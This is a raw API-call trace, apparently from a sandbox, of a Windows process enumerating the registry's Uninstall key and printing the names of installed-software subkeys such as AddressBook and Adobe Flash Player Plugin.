StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0148.928] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0148.928] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0148.928] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0148.928] StrChrW (lpStart=" \x09", wMatch=0x34) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x33) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x56) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0148.929] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0148.930] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0148.930] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0148.930] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0148.930] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0148.930] lstrlenW (lpString="HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 68 [0148.930] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall", cchCount1=2, lpString2="\\\\", cchCount2=2) returned 3 [0148.930] lstrlenW (lpString="HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 68 [0148.930] lstrlenW (lpString="HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 68 [0148.930] StrChrIW (lpStart="HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall", wMatch=0x5c) returned="\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0148.930] lstrlenW (lpString="HKEY_CURRENT_CONFIG") returned 19 [0148.930] GetProcessHeap () returned 0x3c0000 [0148.930] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x28) returned 0x3d5bd0 [0148.930] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM", cchCount1=-1, lpString2="HKCU", cchCount2=-1) returned 3 [0148.931] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM", cchCount1=-1, lpString2="HKEY_CURRENT_USER", cchCount2=-1) returned 3 [0148.931] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM", cchCount1=-1, lpString2="HKCR", cchCount2=-1) returned 3 [0148.931] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM", cchCount1=-1, lpString2="HKEY_CLASSES_ROOT", cchCount2=-1) returned 3 [0148.931] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM", cchCount1=-1, lpString2="HKCC", cchCount2=-1) returned 3 [0148.931] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM", cchCount1=-1, lpString2="HKEY_CURRENT_CONFIG", cchCount2=-1) returned 3 [0148.931] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKLM", cchCount1=-1, lpString2="HKLM", cchCount2=-1) returned 2 [0148.931] lstrlenW (lpString="SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 63 [0148.931] lstrlenW (lpString="SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 63 [0148.931] lstrlenW (lpString="SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 63 [0148.931] StrChrIW (lpStart="SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall", wMatch=0x5c) returned="\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0148.931] lstrlenW (lpString="SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 63 [0148.931] StrChrIW (lpStart="Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall", wMatch=0x5c) returned="\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0148.931] lstrlenW (lpString="SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 63 [0148.931] StrChrIW (lpStart="Microsoft\\Windows\\CurrentVersion\\Uninstall", wMatch=0x5c) returned="\\Windows\\CurrentVersion\\Uninstall" [0148.931] lstrlenW (lpString="SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 63 [0148.931] StrChrIW (lpStart="Windows\\CurrentVersion\\Uninstall", wMatch=0x5c) returned="\\CurrentVersion\\Uninstall" [0148.932] lstrlenW (lpString="SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 63 [0148.932] StrChrIW (lpStart="CurrentVersion\\Uninstall", wMatch=0x5c) returned="\\Uninstall" [0148.932] lstrlenW (lpString="SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 63 [0148.932] StrChrIW (lpStart="Uninstall", wMatch=0x5c) returned 0x0 [0148.932] SetLastError (dwErrCode=0x490) [0148.932] lstrlenW (lpString="SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 63 [0148.932] SetLastError (dwErrCode=0x0) [0148.932] lstrlenW (lpString="SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 63 [0148.932] GetProcessHeap () returned 0x3c0000 [0148.932] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x80) returned 0x3dbac0 [0148.932] GetProcessHeap () returned 0x3c0000 [0148.932] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xac) returned 0x3dbb50 [0148.932] GetProcessHeap () returned 0x3c0000 [0148.932] GetProcessHeap () returned 0x3c0000 [0148.932] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5bd0) returned 1 [0148.932] GetProcessHeap () returned 0x3c0000 [0148.932] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5bd0) returned 0x28 [0148.932] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5bd0 | out: hHeap=0x3c0000) returned 1 [0148.932] GetProcessHeap () returned 0x3c0000 [0148.932] GetProcessHeap () returned 0x3c0000 [0148.932] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0148.932] GetProcessHeap () returned 0x3c0000 [0148.932] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x8a [0148.932] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0148.932] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/s", cchCount1=-1, lpString2="/f", cchCount2=-1) returned 3 [0148.932] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/s", cchCount1=-1, lpString2="-f", cchCount2=-1) returned 1 [0148.932] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/s", cchCount1=-1, lpString2="/k", cchCount2=-1) returned 3 [0148.932] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/s", cchCount1=-1, lpString2="-k", cchCount2=-1) returned 1 [0148.932] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/s", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 1 [0148.932] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/s", cchCount1=-1, lpString2="-v", cchCount2=-1) returned 1 [0148.932] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/s", cchCount1=-1, lpString2="/ve", cchCount2=-1) returned 1 [0148.932] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/s", cchCount1=-1, lpString2="-ve", cchCount2=-1) returned 1 [0148.933] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/s", cchCount1=-1, lpString2="/d", cchCount2=-1) returned 3 [0148.933] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/s", cchCount1=-1, lpString2="-d", cchCount2=-1) returned 1 [0148.933] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/s", cchCount1=-1, lpString2="/c", cchCount2=-1) returned 3 [0148.933] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/s", cchCount1=-1, lpString2="-c", cchCount2=-1) returned 1 [0148.933] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/s", cchCount1=-1, lpString2="/e", cchCount2=-1) returned 3 [0148.933] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/s", cchCount1=-1, lpString2="-e", cchCount2=-1) returned 1 [0148.933] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/s", cchCount1=-1, lpString2="/z", cchCount2=-1) returned 1 [0148.933] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/s", cchCount1=-1, lpString2="-z", cchCount2=-1) returned 1 [0148.933] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/s", cchCount1=-1, lpString2="/s", cchCount2=-1) returned 2 [0148.933] SetLastError (dwErrCode=0x0) [0148.933] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f9e0 | out: phkResult=0x29f9e0*=0x58) returned 0x0 [0148.933] __iob_func () returned 0x7fefd702a80 [0148.933] _fileno (_File=0x7fefd702ab0) returned 1 [0148.933] _errno () returned 0x204bb0 [0148.933] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.933] _errno () returned 0x204bb0 [0148.933] GetFileType (hFile=0x50) returned 0x1 [0148.933] lstrlenW (lpString="\n") returned 1 [0148.933] GetConsoleOutputCP () returned 0x1b5 [0148.933] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.933] GetConsoleOutputCP () returned 0x1b5 [0148.933] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.933] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.934] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.934] RegQueryInfoKeyW (in: hKey=0x58, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f8a0, lpcbMaxValueNameLen=0x29f8f0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f8a0*=0x0, lpcbMaxValueNameLen=0x29f8f0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0148.934] GetProcessHeap () returned 0x3c0000 [0148.934] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3db630 [0148.934] GetProcessHeap () returned 0x3c0000 [0148.934] GetProcessHeap () returned 0x3c0000 [0148.934] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db630) returned 1 [0148.934] GetProcessHeap () returned 0x3c0000 [0148.934] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db630) returned 0x2 [0148.934] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db630 | out: hHeap=0x3c0000) returned 1 [0148.934] RegQueryInfoKeyW (in: hKey=0x58, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f954, lpcbMaxSubKeyLen=0x29f950, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f954*=0x2f, lpcbMaxSubKeyLen=0x29f950, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0148.934] GetProcessHeap () returned 0x3c0000 [0148.934] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xc2) returned 0x3dbc10 [0148.934] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 82 [0148.934] GetProcessHeap () returned 0x3c0000 [0148.934] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x168) returned 0x3dbce0 [0148.934] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x0, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="AddressBook", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0148.934] __iob_func () returned 0x7fefd702a80 [0148.934] GetProcessHeap () returned 0x3c0000 [0148.935] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5bd0 [0148.935] GetProcessHeap () returned 0x3c0000 [0148.935] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x18) returned 0x3db630 [0148.935] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0148.935] GetProcessHeap () returned 0x3c0000 [0148.935] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x1000) returned 0x3dbe50 [0148.935] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AddressBook\n") returned 95 [0148.935] _fileno (_File=0x7fefd702ab0) returned 1 [0148.935] _errno () returned 0x204bb0 [0148.935] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.935] _errno () returned 0x204bb0 [0148.935] GetFileType (hFile=0x50) returned 0x1 [0148.935] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AddressBook\n") returned 95 [0148.935] GetConsoleOutputCP () returned 0x1b5 [0148.935] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AddressBook\n", cchWideChar=95, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 95 [0148.935] GetConsoleOutputCP () returned 0x1b5 [0148.935] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AddressBook\n", cchWideChar=95, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AddressBook\n", lpUsedDefaultChar=0x0) returned 95 [0148.935] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 95 [0148.935] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.935] RegOpenKeyExW (in: hKey=0x58, lpSubKey="AddressBook", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0148.935] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0148.936] GetProcessHeap () returned 0x3c0000 [0148.936] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3db830 [0148.936] __iob_func () returned 0x7fefd702a80 [0148.936] _fileno (_File=0x7fefd702ab0) returned 1 [0148.936] _errno () returned 0x204bb0 [0148.936] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.936] _errno () returned 0x204bb0 [0148.936] GetFileType (hFile=0x50) returned 0x1 [0148.936] lstrlenW (lpString="\n") returned 1 [0148.936] GetConsoleOutputCP () returned 0x1b5 [0148.936] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.936] GetConsoleOutputCP () returned 0x1b5 [0148.936] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.936] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.936] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.936] GetProcessHeap () returned 0x3c0000 [0148.936] GetProcessHeap () returned 0x3c0000 [0148.936] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0148.936] GetProcessHeap () returned 0x3c0000 [0148.936] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x2 [0148.936] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0148.936] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0148.936] GetProcessHeap () returned 0x3c0000 [0148.936] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3db830 [0148.936] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AddressBook") returned 94 [0148.936] GetProcessHeap () returned 0x3c0000 [0148.936] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xc0) returned 0x3dce60 [0148.936] GetProcessHeap () returned 0x3c0000 [0148.936] GetProcessHeap () returned 0x3c0000 [0148.936] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0148.937] GetProcessHeap () returned 0x3c0000 [0148.937] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x2 [0148.937] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0148.937] GetProcessHeap () returned 0x3c0000 [0148.937] GetProcessHeap () returned 0x3c0000 [0148.937] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dce60) returned 1 [0148.937] GetProcessHeap () returned 0x3c0000 [0148.937] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dce60) returned 0xc0 [0148.937] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dce60 | out: hHeap=0x3c0000) returned 1 [0148.937] RegCloseKey (hKey=0x5c) returned 0x0 [0148.937] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x1, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Adobe Flash Player Plugin", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0148.937] __iob_func () returned 0x7fefd702a80 [0148.937] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0148.937] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Adobe Flash Player Plugin\n") returned 109 [0148.937] _fileno (_File=0x7fefd702ab0) returned 1 [0148.937] _errno () returned 0x204bb0 [0148.937] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.937] _errno () returned 0x204bb0 [0148.937] GetFileType (hFile=0x50) returned 0x1 [0148.937] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Adobe Flash Player Plugin\n") returned 109 [0148.937] GetConsoleOutputCP () returned 0x1b5 [0148.937] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Adobe Flash Player Plugin\n", cchWideChar=109, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 109 [0148.937] GetConsoleOutputCP () returned 0x1b5 [0148.937] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Adobe Flash Player Plugin\n", cchWideChar=109, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Adobe Flash Player Plugin\n", lpUsedDefaultChar=0x0) returned 109 [0148.937] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 109 [0148.937] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.938] RegOpenKeyExW (in: hKey=0x58, lpSubKey="Adobe Flash Player Plugin", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0148.938] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0xe, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0148.938] GetProcessHeap () returned 0x3c0000 [0148.938] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x24) returned 0x3d5c00 [0148.938] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.938] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x3c) returned 0x0 [0148.938] GetProcessHeap () returned 0x3c0000 [0148.938] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x3e) returned 0x3d9d00 [0148.938] GetProcessHeap () returned 0x3c0000 [0148.938] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d9d00) returned 1 [0148.938] GetProcessHeap () returned 0x3c0000 [0148.938] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d9d00) returned 0x3e 